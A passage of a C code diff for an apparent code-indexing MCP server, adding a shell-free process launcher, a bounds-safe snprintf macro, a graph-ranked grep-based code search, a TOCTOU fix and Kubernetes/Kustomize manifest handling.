* repo_path: absolute path to the repository root (for project config).
* Returns a heap-allocated cbm_userconfig_t (caller must free via
* cbm_userconfig_free). Returns NULL only on allocation failure.
* Missing config files are silently ignored.
*/
cbm_userconfig_t *cbm_userconfig_load(const char *repo_path);
/*
* Look up a file extension in the user config.
* ext: extension including dot, e.g. ".blade.php"
* Returns the mapped CBMLanguage, or CBM_LANG_COUNT if not found.
*/
CBMLanguage cbm_userconfig_lookup(const cbm_userconfig_t *cfg, const char *ext);
/* Free a cbm_userconfig_t returned by cbm_userconfig_load. NULL-safe. */
void cbm_userconfig_free(cbm_userconfig_t *cfg);
/* ── Integration hook ───────────────────────────────────────────── */
/*
* Set the process-global user config that cbm_language_for_extension()
* will consult before the built-in table.
* cfg may be NULL to clear the override.
* Not thread-safe — call before spawning worker threads.
*/
void cbm_set_user_lang_config(const cbm_userconfig_t *cfg);
/*
* Get the currently active process-global user config.
* Returns NULL if none has been set.
* Called internally by cbm_language_for_extension().
*/
const cbm_userconfig_t *cbm_get_user_lang_config(void);
#endif /* CBM_USERCONFIG_H */
+34
View File
@@ -144,6 +144,13 @@ int cbm_rmdir(const char *path) {
return _rmdir(path);
}
int cbm_exec_no_shell(const char *const *argv) {
if (!argv || !argv[0]) {
return -1;
}
return (int)_spawnvp(_P_WAIT, argv[0], argv);
}
#else /* POSIX */
/* ── POSIX implementation ─────────────────────────────────────── */
@@ -151,6 +158,7 @@ int cbm_rmdir(const char *path) {
#include <dirent.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <unistd.h>
struct cbm_dir {
@@ -248,4 +256,30 @@ int cbm_rmdir(const char *path) {
return rmdir(path);
}
int cbm_exec_no_shell(const char *const *argv) {
if (!argv || !argv[0]) {
return -1;
}
pid_t pid = fork();
if (pid < 0) {
return -1;
}
if (pid == 0) {
/* Child: exec directly — no shell interpretation */
/* 127 = standard "command not found" exit code (POSIX convention) */
enum { EXEC_NOT_FOUND = 127 };
execvp(argv[0], (char *const *)argv);
_exit(EXEC_NOT_FOUND);
}
/* Parent: wait for child */
int status = 0;
if (waitpid(pid, &status, 0) < 0) {
return -1;
}
if (WIFEXITED(status)) {
return WEXITSTATUS(status);
}
return -1; /* killed by signal */
}
#endif /* _WIN32 */
+6
View File
@@ -50,4 +50,10 @@ int cbm_unlink(const char *path);
/* Delete an empty directory. Returns 0 on success. */
int cbm_rmdir(const char *path);
/* Execute a command without shell interpretation.
* argv is a NULL-terminated array: {"cmd", "arg1", "arg2", NULL}.
* Returns the process exit code, or -1 on fork/exec failure.
* POSIX: fork() + execvp(). Windows: _spawnvp(). */
int cbm_exec_no_shell(const char *const *argv);
#endif /* CBM_COMPAT_FS_H */
+18
View File
@@ -53,4 +53,22 @@ char **cbm_str_split(CBMArena *a, const char *s, char delim, int *out_count);
* Returns true if safe, false if the string contains shell metacharacters. */
bool cbm_validate_shell_arg(const char *s);
/* Safe snprintf append: clamps offset to prevent buffer overflow on truncation.
* When snprintf truncates, it returns what it WOULD have written, which can make
* offset > bufsize. Next call: bufsize - offset wraps unsigned → huge → overflow.
* This macro guards against that by checking bounds before writing and clamping after.
*
* Usage: CBM_SNPRINTF_APPEND(buf, sizeof(buf), off, "fmt %s", arg);
* Requires: <stdio.h> included by caller. */
#define CBM_SNPRINTF_APPEND(buf, sz, off, ...) \
do { \
if ((off) >= 0 && (off) < (int)(sz)) { \
int _cbm_r = snprintf((buf) + (off), (sz) - (size_t)(off), __VA_ARGS__); \
if (_cbm_r > 0) \
(off) += _cbm_r; \
if ((off) >= (int)(sz)) \
(off) = (int)(sz) - 1; \
} \
} while (0)
#endif /* CBM_STR_UTIL_H */
+521 -42
View File
@@ -20,6 +20,7 @@
#include "foundation/compat_thread.h"
#include "foundation/log.h"
#include "foundation/str_util.h"
#include "foundation/compat_regex.h"
#ifdef _WIN32
#include <process.h> /* _getpid */
@@ -277,12 +278,21 @@ static const tool_def_t TOOLS[] = {
"\"array\",\"items\":{\"type\":\"string\"}}}}"},
{"search_code",
"Search source code content with text or regex patterns. Use for string literals, error "
"messages, and config values that are not in the knowledge graph.",
"Graph-augmented code search. Finds text patterns via grep, then enriches results with "
"the knowledge graph: deduplicates matches into containing functions, ranks by structural "
"importance (definitions first, popular functions next, tests last). "
"Modes: compact (default, signatures only — token efficient), full (with source), "
"files (just file paths). Use path_filter regex to scope results.",
"{\"type\":\"object\",\"properties\":{\"pattern\":{\"type\":\"string\"},\"project\":{\"type\":"
"\"string\"},\"file_pattern\":{\"type\":\"string\"},\"regex\":{\"type\":\"boolean\","
"\"default\":false},\"limit\":{\"type\":\"integer\",\"description\":\"Max results. Default: "
"unlimited\"}},\"required\":["
"\"string\"},\"file_pattern\":{\"type\":\"string\",\"description\":\"Glob for grep "
"--include (e.g. *.go)\"},\"path_filter\":{\"type\":\"string\",\"description\":\"Regex "
"filter on result file paths (e.g. ^src/ or \\\\.(go|ts)$)\"},\"mode\":{\"type\":\"string\","
"\"enum\":[\"compact\",\"full\",\"files\"],\"default\":\"compact\",\"description\":\"compact: "
"signatures+metadata (default). full: with source. files: just file list.\"},"
"\"context\":{\"type\":\"integer\",\"description\":\"Lines of context around each match "
"(like grep -C). Only used in compact mode.\"},"
"\"regex\":{\"type\":\"boolean\",\"default\":false},\"limit\":{\"type\":\"integer\","
"\"description\":\"Max results (default 10)\",\"default\":10}},\"required\":["
"\"pattern\"]}"},
{"list_projects", "List all indexed projects", "{\"type\":\"object\",\"properties\":{}}"},
@@ -1624,21 +1634,314 @@ static char *handle_get_code_snippet(cbm_mcp_server_t *srv, const char *args) {
true);
}
/* ── search_code ──────────────────────────────────────────────── */
/* ── search_code v2: graph-augmented code search ─────────────── */
/* Strip non-ASCII bytes to guarantee valid UTF-8 JSON output */
enum { ASCII_MAX = 127 };
static void sanitize_ascii(char *s) {
for (unsigned char *p = (unsigned char *)s; *p; p++) {
if (*p > ASCII_MAX) {
*p = '?';
}
}
}
/* Intermediate grep match */
typedef struct {
char file[512];
int line;
char content[1024];
} grep_match_t;
/* Deduped result: one per containing graph node */
typedef struct {
int64_t node_id; /* 0 = raw match (no containing node) */
char node_name[256];
char qualified_name[512];
char label[64];
char file[512];
int start_line;
int end_line;
int in_degree;
int out_degree;
int score;
int match_lines[64];
int match_count;
} search_result_t;
/* Score a result for ranking: project source first, vendored last, tests lowest */
enum { SCORE_FUNC = 10, SCORE_ROUTE = 15, SCORE_VENDORED = -50, SCORE_TEST = -5 };
enum { MAX_LINE_SPAN = 999999 };
static int compute_search_score(const search_result_t *r) {
int score = r->in_degree;
if (strcmp(r->label, "Function") == 0 || strcmp(r->label, "Method") == 0) {
score += SCORE_FUNC;
}
if (strcmp(r->label, "Route") == 0) {
score += SCORE_ROUTE;
}
if (strstr(r->file, "vendored/") || strstr(r->file, "vendor/") ||
strstr(r->file, "node_modules/")) {
score += SCORE_VENDORED;
}
/* Penalize test files */
if (strstr(r->file, "test") || strstr(r->file, "spec") || strstr(r->file, "_test.")) {
score += SCORE_TEST;
}
return score;
}
static int search_result_cmp(const void *a, const void *b) {
const search_result_t *ra = (const search_result_t *)a;
const search_result_t *rb = (const search_result_t *)b;
return rb->score - ra->score; /* descending */
}
/* Build the grep command string based on scoped vs recursive mode */
static void build_grep_cmd(char *cmd, size_t cmd_sz, bool use_regex, bool scoped,
const char *file_pattern, const char *tmpfile, const char *filelist,
const char *root_path) {
// NOLINTNEXTLINE(readability-implicit-bool-conversion)
const char *flag = use_regex ? "-E" : "-F";
if (scoped) {
if (file_pattern) {
snprintf(cmd, cmd_sz, "xargs grep -n %s --include='%s' -f '%s' < '%s' 2>/dev/null",
flag, file_pattern, tmpfile, filelist);
} else {
snprintf(cmd, cmd_sz, "xargs grep -n %s -f '%s' < '%s' 2>/dev/null", flag, tmpfile,
filelist);
}
} else {
if (file_pattern) {
snprintf(cmd, cmd_sz, "grep -rn %s --include='%s' -f '%s' '%s' 2>/dev/null", flag,
file_pattern, tmpfile, root_path);
} else {
snprintf(cmd, cmd_sz, "grep -rn %s -f '%s' '%s' 2>/dev/null", flag, tmpfile, root_path);
}
}
}
/* Phase 4: assemble JSON output from search results */
static char *assemble_search_output(search_result_t *sr, int sr_count, grep_match_t *raw,
int raw_count, int gm_count, int limit, int mode,
int context_lines, const char *root_path) {
enum { MODE_COMPACT = 0, MODE_FULL = 1, MODE_FILES = 2 };
yyjson_mut_doc *doc = yyjson_mut_doc_new(NULL);
yyjson_mut_val *root_obj = yyjson_mut_obj(doc);
yyjson_mut_doc_set_root(doc, root_obj);
int output_count = sr_count < limit ? sr_count : limit;
if (mode == MODE_FILES) {
yyjson_mut_val *files_arr = yyjson_mut_arr(doc);
char *seen_files[512];
int seen_count = 0;
for (int fi = 0; fi < output_count; fi++) {
bool dup = false;
for (int j = 0; j < seen_count; j++) {
if (strcmp(seen_files[j], sr[fi].file) == 0) {
dup = true;
break;
}
}
if (!dup && seen_count < 512) {
seen_files[seen_count++] = sr[fi].file;
yyjson_mut_arr_add_str(doc, files_arr, sr[fi].file);
}
}
for (int fi = 0; fi < raw_count && seen_count < 512; fi++) {
bool dup = false;
for (int j = 0; j < seen_count; j++) {
if (strcmp(seen_files[j], raw[fi].file) == 0) {
dup = true;
break;
}
}
if (!dup) {
seen_files[seen_count++] = raw[fi].file;
yyjson_mut_arr_add_str(doc, files_arr, raw[fi].file);
}
}
yyjson_mut_obj_add_val(doc, root_obj, "files", files_arr);
} else {
yyjson_mut_val *results_arr = yyjson_mut_arr(doc);
for (int ri = 0; ri < output_count; ri++) {
search_result_t *r = &sr[ri];
yyjson_mut_val *item = yyjson_mut_obj(doc);
yyjson_mut_obj_add_str(doc, item, "node", r->node_name);
yyjson_mut_obj_add_str(doc, item, "qualified_name", r->qualified_name);
yyjson_mut_obj_add_str(doc, item, "label", r->label);
yyjson_mut_obj_add_str(doc, item, "file", r->file);
yyjson_mut_obj_add_int(doc, item, "start_line", r->start_line);
yyjson_mut_obj_add_int(doc, item, "end_line", r->end_line);
yyjson_mut_obj_add_int(doc, item, "in_degree", r->in_degree);
yyjson_mut_obj_add_int(doc, item, "out_degree", r->out_degree);
yyjson_mut_val *ml = yyjson_mut_arr(doc);
for (int j = 0; j < r->match_count; j++) {
yyjson_mut_arr_add_int(doc, ml, r->match_lines[j]);
}
yyjson_mut_obj_add_val(doc, item, "match_lines", ml);
if (r->start_line > 0 && r->end_line > 0) {
char abs_path[1024];
snprintf(abs_path, sizeof(abs_path), "%s/%s", root_path, r->file);
if (mode == MODE_FULL) {
char *source = read_file_lines(abs_path, r->start_line, r->end_line);
if (source) {
sanitize_ascii(source);
yyjson_mut_obj_add_strcpy(doc, item, "source", source);
free(source);
}
} else if (context_lines > 0 && r->match_count > 0) {
int first_match = r->match_lines[0];
int last_match = r->match_lines[r->match_count - 1];
int ctx_start = first_match - context_lines;
int ctx_end = last_match + context_lines;
if (ctx_start < 1) {
ctx_start = 1;
}
char *ctx = read_file_lines(abs_path, ctx_start, ctx_end);
if (ctx) {
sanitize_ascii(ctx);
yyjson_mut_obj_add_strcpy(doc, item, "context", ctx);
yyjson_mut_obj_add_int(doc, item, "context_start", ctx_start);
free(ctx);
}
}
}
yyjson_mut_arr_add_val(results_arr, item);
}
yyjson_mut_obj_add_val(doc, root_obj, "results", results_arr);
enum { MAX_RAW = 20 };
yyjson_mut_val *raw_arr = yyjson_mut_arr(doc);
int raw_output = raw_count < MAX_RAW ? raw_count : MAX_RAW;
for (int ri = 0; ri < raw_output; ri++) {
yyjson_mut_val *item = yyjson_mut_obj(doc);
yyjson_mut_obj_add_str(doc, item, "file", raw[ri].file);
yyjson_mut_obj_add_int(doc, item, "line", raw[ri].line);
yyjson_mut_obj_add_str(doc, item, "content", raw[ri].content);
yyjson_mut_arr_add_val(raw_arr, item);
}
yyjson_mut_obj_add_val(doc, root_obj, "raw_matches", raw_arr);
}
/* Directory distribution */
{
yyjson_mut_val *dirs = yyjson_mut_obj(doc);
char dir_names[64][128];
int dir_counts[64];
int dir_n = 0;
for (int di = 0; di < sr_count; di++) {
char top[128] = "";
const char *slash = strchr(sr[di].file, '/');
if (slash) {
size_t dlen = (size_t)(slash - sr[di].file + 1);
if (dlen >= sizeof(top)) {
dlen = sizeof(top) - 1;
}
memcpy(top, sr[di].file, dlen);
top[dlen] = '\0';
} else {
snprintf(top, sizeof(top), "%s", sr[di].file);
}
int found = -1;
for (int d = 0; d < dir_n; d++) {
if (strcmp(dir_names[d], top) == 0) {
found = d;
break;
}
}
if (found >= 0) {
dir_counts[found]++;
} else if (dir_n < 64) {
snprintf(dir_names[dir_n], sizeof(dir_names[0]), "%s", top);
dir_counts[dir_n] = 1;
dir_n++;
}
}
for (int d = 0; d < dir_n; d++) {
yyjson_mut_val *key = yyjson_mut_strcpy(doc, dir_names[d]);
yyjson_mut_val *val = yyjson_mut_int(doc, dir_counts[d]);
yyjson_mut_obj_add(dirs, key, val);
}
yyjson_mut_obj_add_val(doc, root_obj, "directories", dirs);
}
/* Summary stats */
yyjson_mut_obj_add_int(doc, root_obj, "total_grep_matches", gm_count);
yyjson_mut_obj_add_int(doc, root_obj, "total_results", sr_count);
yyjson_mut_obj_add_int(doc, root_obj, "raw_match_count", raw_count);
if (sr_count > 0 && gm_count > 0) {
char ratio[32];
snprintf(ratio, sizeof(ratio), "%.1fx", (double)gm_count / (double)(sr_count + raw_count));
yyjson_mut_obj_add_strcpy(doc, root_obj, "dedup_ratio", ratio);
}
char *json = yy_doc_to_str(doc);
if (json) {
sanitize_ascii(json);
}
yyjson_mut_doc_free(doc);
char *result = cbm_mcp_text_result(json, false);
free(json);
return result;
}
static char *handle_search_code(cbm_mcp_server_t *srv, const char *args) {
char *pattern = cbm_mcp_get_string_arg(args, "pattern");
char *project = cbm_mcp_get_string_arg(args, "project");
char *file_pattern = cbm_mcp_get_string_arg(args, "file_pattern");
int limit = cbm_mcp_get_int_arg(args, "limit", 500000);
char *path_filter = cbm_mcp_get_string_arg(args, "path_filter");
char *mode_str = cbm_mcp_get_string_arg(args, "mode");
int limit = cbm_mcp_get_int_arg(args, "limit", 10);
int context_lines = cbm_mcp_get_int_arg(args, "context", 0);
bool use_regex = cbm_mcp_get_bool_arg(args, "regex");
/* Parse mode: compact (default), full, files */
enum { MODE_COMPACT, MODE_FULL, MODE_FILES };
int mode = MODE_COMPACT;
if (mode_str) {
if (strcmp(mode_str, "full") == 0) {
mode = MODE_FULL;
} else if (strcmp(mode_str, "files") == 0) {
mode = MODE_FILES;
}
free(mode_str);
}
/* Compile path_filter regex if provided */
cbm_regex_t path_regex;
bool has_path_filter = false;
if (path_filter && path_filter[0]) {
if (cbm_regcomp(&path_regex, path_filter, CBM_REG_EXTENDED | CBM_REG_NOSUB) == CBM_REG_OK) {
has_path_filter = true;
}
free(path_filter);
path_filter = NULL;
} else {
free(path_filter);
path_filter = NULL;
}
if (!pattern) {
free(project);
free(file_pattern);
return cbm_mcp_text_result("pattern is required", true);
}
/* Resolve project */
if (!project && srv->session_project[0]) {
project = heap_strdup(srv->session_project);
}
char *root_path = get_project_root(srv, project);
if (!root_path) {
free(pattern);
@@ -1657,7 +1960,8 @@ static char *handle_search_code(cbm_mcp_server_t *srv, const char *args) {
return cbm_mcp_text_result("path or file_pattern contains invalid characters", true);
}
/* Write pattern to temp file to avoid shell injection */
/* ── Phase 1: Grep scan ──────────────────────────────────── */
char tmpfile[256];
#ifdef _WIN32
snprintf(tmpfile, sizeof(tmpfile), "/tmp/cbm_search_%d.pat", (int)_getpid());
@@ -1676,21 +1980,53 @@ static char *handle_search_code(cbm_mcp_server_t *srv, const char *args) {
(void)fprintf(tf, "%s\n", pattern);
(void)fclose(tf);
char cmd[4096];
// NOLINTNEXTLINE(readability-implicit-bool-conversion)
const char *flag = use_regex ? "-E" : "-F";
if (file_pattern) {
snprintf(cmd, sizeof(cmd), "grep -rn %s --include='%s' -m %d -f '%s' '%s' 2>/dev/null",
flag, file_pattern, limit * 3, tmpfile, root_path);
} else {
snprintf(cmd, sizeof(cmd), "grep -rn %s -m %d -f '%s' '%s' 2>/dev/null", flag, limit * 3,
tmpfile, root_path);
/* No grep-level match limit — let grep find all matches, then dedup and
* cap in our code. The -m flag caused results from large vendored files
* to exhaust the quota before reaching project source files. */
enum { GREP_MAX_MATCHES = 500 };
int grep_limit = GREP_MAX_MATCHES;
/* Scope grep to indexed files only — avoids scanning vendored/generated code.
* Query the graph for distinct file paths, write them to a temp file,
* then use xargs to pass them to grep. Falls back to recursive grep if
* no indexed files found (project not fully indexed). */
char filelist[256];
snprintf(filelist, sizeof(filelist), "%s.files", tmpfile);
bool scoped = false;
cbm_store_t *pre_store = resolve_store(srv, project);
if (pre_store) {
const char *pn = project ? project : srv->session_project;
char **indexed_files = NULL;
int indexed_count = 0;
if (pn &&
cbm_store_list_files(pre_store, pn, &indexed_files, &indexed_count) == CBM_STORE_OK &&
indexed_count > 0) {
FILE *fl = fopen(filelist, "w");
if (fl) {
for (int fi = 0; fi < indexed_count; fi++) {
fprintf(fl, "%s/%s\n", root_path, indexed_files[fi]);
}
fclose(fl);
scoped = true;
}
for (int fi = 0; fi < indexed_count; fi++) {
free(indexed_files[fi]);
}
free(indexed_files);
}
}
char cmd[4096];
build_grep_cmd(cmd, sizeof(cmd), use_regex, scoped, file_pattern, tmpfile, filelist, root_path);
// NOLINTNEXTLINE(bugprone-command-processor,cert-env33-c)
FILE *fp = cbm_popen(cmd, "r");
if (!fp) {
cbm_unlink(tmpfile);
if (scoped) {
cbm_unlink(filelist);
}
free(root_path);
free(pattern);
free(project);
@@ -1698,16 +2034,14 @@ static char *handle_search_code(cbm_mcp_server_t *srv, const char *args) {
return cbm_mcp_text_result("search failed", true);
}
yyjson_mut_doc *doc = yyjson_mut_doc_new(NULL);
yyjson_mut_val *root_obj = yyjson_mut_obj(doc);
yyjson_mut_doc_set_root(doc, root_obj);
yyjson_mut_val *matches = yyjson_mut_arr(doc);
/* Collect grep matches into array */
int gm_cap = 64;
int gm_count = 0;
grep_match_t *gm = malloc(gm_cap * sizeof(grep_match_t));
char line[2048];
int count = 0;
size_t root_len = strlen(root_path);
while (fgets(line, sizeof(line), fp) && count < limit) {
while (fgets(line, sizeof(line), fp) && gm_count < grep_limit) {
size_t len = strlen(line);
while (len > 0 && (line[len - 1] == '\n' || line[len - 1] == '\r')) {
line[--len] = '\0';
@@ -1716,7 +2050,6 @@ static char *handle_search_code(cbm_mcp_server_t *srv, const char *args) {
continue;
}
/* grep output: /abs/path/file:lineno:content */
char *colon1 = strchr(line, ':');
if (!colon1) {
continue;
@@ -1729,7 +2062,6 @@ static char *handle_search_code(cbm_mcp_server_t *srv, const char *args) {
*colon1 = '\0';
*colon2 = '\0';
/* Strip root_path prefix to get relative path */
const char *file = line;
if (strncmp(file, root_path, root_len) == 0) {
file += root_len;
@@ -1737,31 +2069,178 @@ static char *handle_search_code(cbm_mcp_server_t *srv, const char *args) {
file++;
}
}
int lineno = (int)strtol(colon1 + 1, NULL, 10);
const char *content = colon2 + 1;
yyjson_mut_val *item = yyjson_mut_obj(doc);
yyjson_mut_obj_add_str(doc, item, "file", file);
yyjson_mut_obj_add_int(doc, item, "line", lineno);
yyjson_mut_obj_add_str(doc, item, "content", content);
yyjson_mut_arr_add_val(matches, item);
count++;
/* Apply path_filter regex — skip files that don't match */
if (has_path_filter && cbm_regexec(&path_regex, file, 0, NULL, 0) != CBM_REG_OK) {
continue;
}
if (gm_count >= gm_cap) {
gm_cap *= 2;
gm = safe_realloc(gm, gm_cap * sizeof(grep_match_t));
}
snprintf(gm[gm_count].file, sizeof(gm[0].file), "%s", file);
gm[gm_count].line = (int)strtol(colon1 + 1, NULL, 10);
snprintf(gm[gm_count].content, sizeof(gm[0].content), "%s", colon2 + 1);
sanitize_ascii(gm[gm_count].content);
gm_count++;
}
cbm_pclose(fp);
cbm_unlink(tmpfile); /* Clean up pattern file after grep is done */
cbm_unlink(tmpfile);
if (scoped) {
cbm_unlink(filelist);
}
yyjson_mut_obj_add_val(doc, root_obj, "matches", matches);
yyjson_mut_obj_add_int(doc, root_obj, "count", count);
/* ── Phase 2+3: Block expansion + graph ranking ──────────── */
/* Sort grep matches by file for contiguous processing.
* Then: one SQL query per unique file for nodes, one batch query for all degrees. */
char *json = yy_doc_to_str(doc);
yyjson_mut_doc_free(doc);
cbm_store_t *store = resolve_store(srv, project);
const char *proj_name = project ? project : srv->session_project;
int sr_cap = 32;
int sr_count = 0;
search_result_t *sr = calloc(sr_cap, sizeof(search_result_t));
int raw_cap = 32;
int raw_count = 0;
grep_match_t *raw = malloc(raw_cap * sizeof(grep_match_t));
/* Sort matches by file path for contiguous per-file processing */
qsort(gm, gm_count, sizeof(grep_match_t), (int (*)(const void *, const void *))strcmp);
/* Process matches file-by-file (contiguous runs after sort) */
int i = 0;
while (i < gm_count) {
const char *cur_file = gm[i].file;
int file_start = i;
/* Find end of this file's run */
while (i < gm_count && strcmp(gm[i].file, cur_file) == 0) {
i++;
}
int file_end = i; /* [file_start, file_end) */
/* One SQL query: load all nodes in this file */
cbm_node_t *file_nodes = NULL;
int file_node_count = 0;
if (store && proj_name) {
cbm_store_find_nodes_by_file(store, proj_name, cur_file, &file_nodes, &file_node_count);
}
/* Match each grep hit to tightest containing node (in-memory) */
for (int mi = file_start; mi < file_end; mi++) {
int best = -1;
int best_span = MAX_LINE_SPAN;
for (int j = 0; j < file_node_count; j++) {
if (file_nodes[j].start_line <= gm[mi].line &&
file_nodes[j].end_line >= gm[mi].line) {
int span = file_nodes[j].end_line - file_nodes[j].start_line;
if (span < best_span) {
best = j;
best_span = span;
}
}
}
if (best >= 0) {
cbm_node_t *n = &file_nodes[best];
/* Dedup: check if node already in results */
int existing = -1;
for (int j = 0; j < sr_count; j++) {
if (sr[j].node_id == n->id) {
existing = j;
break;
}
}
if (existing >= 0) {
if (sr[existing].match_count < 64) {
sr[existing].match_lines[sr[existing].match_count++] = gm[mi].line;
}
} else {
if (sr_count >= sr_cap) {
sr_cap *= 2;
sr = safe_realloc(sr, sr_cap * sizeof(search_result_t));
memset(&sr[sr_count], 0, (sr_cap - sr_count) * sizeof(search_result_t));
}
search_result_t *r = &sr[sr_count];
r->node_id = n->id;
snprintf(r->node_name, sizeof(r->node_name), "%s", n->name ? n->name : "");
snprintf(r->qualified_name, sizeof(r->qualified_name), "%s",
n->qualified_name ? n->qualified_name : "");
snprintf(r->label, sizeof(r->label), "%s", n->label ? n->label : "");
snprintf(r->file, sizeof(r->file), "%s", n->file_path ? n->file_path : "");
r->start_line = n->start_line;
r->end_line = n->end_line;
r->match_lines[0] = gm[mi].line;
r->match_count = 1;
sr_count++;
}
} else {
if (raw_count >= raw_cap) {
raw_cap *= 2;
raw = safe_realloc(raw, raw_cap * sizeof(grep_match_t));
}
raw[raw_count++] = gm[mi];
}
}
/* Free file nodes */
for (int j = 0; j < file_node_count; j++) {
free((void *)file_nodes[j].project);
free((void *)file_nodes[j].label);
free((void *)file_nodes[j].name);
free((void *)file_nodes[j].qualified_name);
free((void *)file_nodes[j].file_path);
free((void *)file_nodes[j].properties_json);
}
free(file_nodes);
}
/* Phase 3: batch degree query — ONE query for all results instead of 2×N */
if (store && sr_count > 0) {
int64_t *ids = malloc(sr_count * sizeof(int64_t));
int *in_degs = malloc(sr_count * sizeof(int));
int *out_degs = malloc(sr_count * sizeof(int));
for (int j = 0; j < sr_count; j++) {
ids[j] = sr[j].node_id;
}
if (cbm_store_batch_count_degrees(store, ids, sr_count, "CALLS", in_degs, out_degs) ==
CBM_STORE_OK) {
for (int j = 0; j < sr_count; j++) {
sr[j].in_degree = in_degs[j];
sr[j].out_degree = out_degs[j];
}
}
free(ids);
free(in_degs);
free(out_degs);
}
/* Compute scores and sort */
for (int j = 0; j < sr_count; j++) {
sr[j].score = compute_search_score(&sr[j]);
}
if (sr_count > 1) {
qsort(sr, sr_count, sizeof(search_result_t), search_result_cmp);
}
/* ── Phase 4: Context assembly (extracted helper) ─────────── */
char *result = assemble_search_output(sr, sr_count, raw, raw_count, gm_count, limit, mode,
context_lines, root_path);
free(gm);
free(sr);
free(raw);
free(root_path);
free(pattern);
free(project);
free(file_pattern);
char *result = cbm_mcp_text_result(json, false);
free(json);
if (has_path_filter) {
cbm_regfree(&path_regex);
}
return result;
}
+8 -6
View File
@@ -383,11 +383,6 @@ int cbm_scan_project_env_urls(const char *root_path, cbm_env_binding_t *out, int
continue;
}
/* Skip large files (>1MB) */
if (st.st_size > (long)1024 * 1024) {
continue;
}
/* Determine file type */
file_type_t ft = detect_file_type(ent->name);
if (ft == FT_UNKNOWN) {
@@ -400,12 +395,19 @@ int cbm_scan_project_env_urls(const char *root_path, cbm_env_binding_t *out, int
rel++;
}
/* Read and scan file line by line */
/* Open first, then fstat on fd to avoid TOCTOU race */
FILE *f = fopen(full_path, "r");
if (!f) {
continue;
}
/* Recheck size on the open fd (not the path) */
struct stat fst;
if (fstat(fileno(f), &fst) != 0 || fst.st_size > (long)1024 * 1024) {
fclose(f);
continue;
}
char line[2048];
while (fgets(line, sizeof(line), f) && count < max_out) {
/* Strip trailing newline */
+25
View File
@@ -192,6 +192,31 @@ bool cbm_is_env_file(const char *name) {
return false;
}
bool cbm_is_kustomize_file(const char *name) {
if (!name) {
return false;
}
char lower[256];
to_lower(name, lower, sizeof(lower));
if (strcmp(lower, "kustomization.yaml") == 0) {
return true;
}
return strcmp(lower, "kustomization.yml") == 0;
}
// NOLINTNEXTLINE(bugprone-easily-swappable-parameters)
bool cbm_is_k8s_manifest(const char *name, const char *content) {
if (!name || !content || cbm_is_kustomize_file(name)) {
return false;
}
enum { K8S_PEEK_SZ = 4097 };
char buf[K8S_PEEK_SZ];
size_t n = strnlen(content, 4096);
memcpy(buf, content, n);
buf[n] = '\0';
return ci_strstr(buf, "apiVersion:") != NULL;
}
// NOLINTNEXTLINE(bugprone-easily-swappable-parameters)
bool cbm_is_shell_script(const char *name, const char *ext) {
(void)name;
+240
View File
@@ -0,0 +1,240 @@
/*
* pass_k8s.c — Pipeline pass for Kubernetes manifest and Kustomize overlay processing.
*
* For each discovered YAML file:
* 1. Check if it is a kustomize overlay (kustomization.yaml / kustomization.yml)
* → emit a Module node and IMPORTS edges for each resources/bases/patches entry
* 2. Else if it is a generic k8s manifest (apiVersion: detected)
* → emit one Resource node per file (first document only — multi-document YAML is not yet
* supported)
*
* Depends on: pass_infrascan.c (cbm_is_kustomize_file, cbm_is_k8s_manifest, cbm_infra_qn),
* extraction layer (cbm.h), graph_buffer, pipeline internals.
*/
#include "pipeline/pipeline.h"
#include "pipeline/pipeline_internal.h"
#include "graph_buffer/graph_buffer.h"
#include "discover/discover.h"
#include "foundation/log.h"
#include "foundation/compat.h"
#include "cbm.h"
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
/* ── Internal helpers ────────────────────────────────────────────── */
/* Read entire file into heap-allocated buffer. Returns NULL on error.
* Caller must free(). Sets *out_len to byte count. */
static char *k8s_read_file(const char *path, int *out_len) {
FILE *f = fopen(path, "rb");
if (!f) {
return NULL;
}
(void)fseek(f, 0, SEEK_END);
long size = ftell(f);
(void)fseek(f, 0, SEEK_SET);
if (size <= 0 || size > (long)100 * 1024 * 1024) {
(void)fclose(f);
return NULL;
}
char *buf = malloc(size + 1);
if (!buf) {
(void)fclose(f);
return NULL;
}
size_t nread = fread(buf, 1, size, f);
(void)fclose(f);
// NOLINTNEXTLINE(clang-analyzer-security.ArrayBound)
buf[nread] = '\0';
*out_len = (int)nread;
return buf;
}
/* Format int to string for logging. Thread-safe via TLS. */
static const char *itoa_k8s(int val) {
static CBM_TLS char bufs[4][32];
static CBM_TLS int idx = 0;
int i = idx;
idx = (idx + 1) & 3;
snprintf(bufs[i], sizeof(bufs[i]), "%d", val);
return bufs[i];
}
/* Extract the basename of a path (pointer into the string; no allocation). */
static const char *k8s_basename(const char *path) {
const char *p = strrchr(path, '/');
return p ? p + 1 : path;
}
/* ── Kustomize handler ───────────────────────────────────────────── */
static void handle_kustomize(cbm_pipeline_ctx_t *ctx, const char *path, const char *rel_path,
CBMFileResult *result) {
/* Emit Module node for this kustomize overlay file */
char *mod_qn = cbm_infra_qn(ctx->project_name, rel_path, "kustomize", NULL);
if (!mod_qn) {
return;
}
// NOLINTNEXTLINE(misc-include-cleaner)
int64_t mod_id = cbm_gbuf_upsert_node(ctx->gbuf, "Module", k8s_basename(rel_path), mod_qn,
rel_path, 1, 0, "{\"source\":\"kustomize\"}");
free(mod_qn);
if (mod_id <= 0) {
return;
}
/* If we have a cached extraction result, emit IMPORTS edges for
* resources/bases/patches/components entries */
int import_count = 0;
CBMFileResult *res = result;
bool allocated = false;
if (!res) {
/* Fall back to re-extraction */
int src_len = 0;
char *source = k8s_read_file(path, &src_len);
if (source) {
res = cbm_extract_file(source, src_len, CBM_LANG_KUSTOMIZE, ctx->project_name, rel_path,
CBM_EXTRACT_BUDGET, NULL, NULL);
free(source);
allocated = true;
}
}
if (res) {
for (int j = 0; j < res->imports.count; j++) {
CBMImport *imp = &res->imports.items[j];
if (!imp->module_path) {
continue;
}
/* Compute target file QN */
char *target_qn =
cbm_pipeline_fqn_compute(ctx->project_name, imp->module_path, "__file__");
if (!target_qn) {
continue;
}
const cbm_gbuf_node_t *target = cbm_gbuf_find_by_qn(ctx->gbuf, target_qn);
free(target_qn);
if (target) {
cbm_gbuf_insert_edge(ctx->gbuf, mod_id, target->id, "IMPORTS",
"{\"via\":\"kustomize\"}");
import_count++;
}
}
if (allocated) {
cbm_free_result(res);
}
}
cbm_log_info("pass.k8s.kustomize", "file", rel_path, "imports", itoa_k8s(import_count));
}
/* ── K8s manifest handler ────────────────────────────────────────── */
